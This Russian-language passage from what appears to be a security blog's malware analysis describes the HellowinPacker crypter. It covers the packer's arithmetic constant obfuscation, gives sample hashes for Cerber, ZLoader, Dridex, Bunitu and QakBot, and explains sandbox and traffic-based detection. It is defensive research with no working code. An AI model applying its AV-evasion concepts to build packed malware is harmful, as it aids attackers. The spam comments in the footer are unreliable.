При работе с различными числовыми значениями часто встречается некоторая арифметическая обфускация: необходимые константы представляются в виде суммы или разности других констант (в определенных случаях равной нулю). При этом для получения констант могут быть использованы и вызовы функций WinAPI, дающие предсказуемый результат (например, 0 в случае неудачи).

Использование

HellowinPacker существует по крайней мере с 2014 года. За это время он был использован в различном массовом вредоносном ПО. Вот лишь несколько примеров:

Семейство ВПО

SHA256

Cerber Ransomware

1e8b814a4bd850fc21690a66159a742bfcec212ccab3c3153a2c54c88c83ed9d

ZLoader

44ede6e1b9be1c013f13d82645f7a9cff7d92b267778f19b46aa5c1f7fa3c10b

Dridex

f5dfbb67b582a58e86db314cc99924502d52ccc306a646da25f5f2529b7bff16

Bunitu

54ff90a4b9d4f6bb2808476983c1a902d7d20fc0348a61c79ee2a9e123054cce

QakBot

c2482679c665dbec35164aba7554000817139035dc12efc9e936790ca49e7854

Заключение

Пример с использованием крипторов позволяет проиллюстрировать разделение обязанностей в хакерской среде, особенно в сфере массового ВПО. Совершенно не связанные друг с другом хакеры могут заниматься разработкой вредоносной нагрузки, ее защитой от антивирусов (криптом) и доставкой конечному пользователю. При этом каждый элемент в этой цепочке может быть предоставлен как сервис. Такой подход снижает порог входа для технически неподготовленных киберпреступников: для проведения массовой атаки достаточно обладать лишь необходимой суммой денег на оплату всех сервисов.

Описанные нами упаковщики, конечно же, далеко не единственные на рынке. При этом они хорошо демонстрируют общие свойства подобных инструментов: в результате их работы получается исполняемый файл с обфусцированным полиморфным кодом распаковщика и шифрованной полезной нагрузкой. Мутации в коде и использование одних и тех же крипторов делают практически невозможным статическое детектирование полезной нагрузки. Однако, поскольку эта нагрузка так или иначе расшифровывается в память и начинает свою вредоносную деятельность, поведенческий анализ с использованием песочниц (таких, как PT Sandbox) позволяет обнаруживать ВПО и выносить точные вердикты даже для упакованных файлов. Следует также отметить, что упаковщики никак не влияют на взаимодействие вредоносов с управляющими серверами. Это дает возможность определять присутствие ВПО в сети, используя инструменты анализа трафика такие, как PT Network Attack Discovery.

Автор: Алексей Захаров

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru